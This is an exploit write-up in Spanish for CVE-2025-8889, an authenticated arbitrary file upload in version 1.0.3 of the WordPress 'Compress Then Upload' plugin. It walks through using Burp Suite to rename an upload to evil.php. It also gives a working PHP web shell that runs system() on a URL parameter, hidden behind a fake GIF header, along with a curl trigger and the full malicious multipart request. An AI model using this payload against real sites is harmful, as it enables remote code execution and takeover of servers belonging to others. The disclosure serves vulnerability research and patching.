Título del exploit: WordPress Compress Then Upload Plugin 1.0.3 — Subida arbitraria de archivos que conduce a RCE

Fecha: 2025-07-23
Autor del exploit: Muhammed Çelik
Página del proveedor: https://wordpress.com/plugins/compress-then-upload
Enlace del software: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
Versión: 1.0.3
Probado en: Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28
CVE: CVE-2025-8889

Vulnerabilidad

El plugin de WordPress "Compress Then Upload Images" no valida correctamente las extensiones de archivo ni los tipos MIME durante la subida de imágenes a través de su interfaz de subida de medios. Aunque existen validaciones en el lado del cliente, estas se pueden omitir interceptando y modificando la solicitud de subida.

Un usuario autenticado con permisos de subida de medios (rol de Autor o superior) puede explotar esta vulnerabilidad de la siguiente manera:

1. Subir primero un archivo de imagen benigno
2. Interceptar la solicitud de subida (p. ej., con Burp Suite)
3. Modificar la extensión del nombre del archivo subido y el contenido del archivo para incluir código PHP malicioso
4. Conservar el encabezado de tipo MIME original (image/jpeg) para eludir las comprobaciones débiles del lado del servidor
5. Esto permite la ejecución de código PHP arbitrario (Remote Code Execution, RCE) en el servidor

PoC

Paso 1: Preparar un archivo de imagen normal
Crea un archivo de imagen normal, por ejemplo, regular.jpg (cualquier archivo JPG válido).

Paso 2: Subir la imagen normal a través del panel de administración de WordPress

• Inicia sesión en el panel de administración de WordPress con un usuario que tenga al menos privilegios de Autor.
• Navega a Medios > Compress Then Upload Images (interfaz de subida del plugin).
• Sube regular.jpg con normalidad.

Paso 3: Interceptar y modificar la solicitud de subida con Burp Suite

• Mientras la subida está en curso, intercepta la solicitud HTTP multipart en Burp Suite.
• Modifica la solicitud:
  • Cambia filename="regular.jpg" → filename="evil.php"
  • Reemplaza el contenido del archivo por el código de la web shell en PHP:

GIF89a;
<?php
    if (isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }


Nota: GIF89a; simula un encabezado GIF válido para eludir las validaciones de imagen débiles.
Mantén el Content-Type como image/jpeg.

Reenvía la solicitud modificada al servidor.

Paso 4: Activar la web shell subida

Si la subida se realiza correctamente, el archivo PHP se guardará en el directorio de subidas, por ejemplo:
http://target-site.com/wp-content/uploads/2025/07/evil.php

Accede a través del navegador o con curl:

curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"

Ejemplo de solicitud de subida maliciosa (Burp Suite)

POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg

GIF89a;
<?php
    if (isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }
?>
?>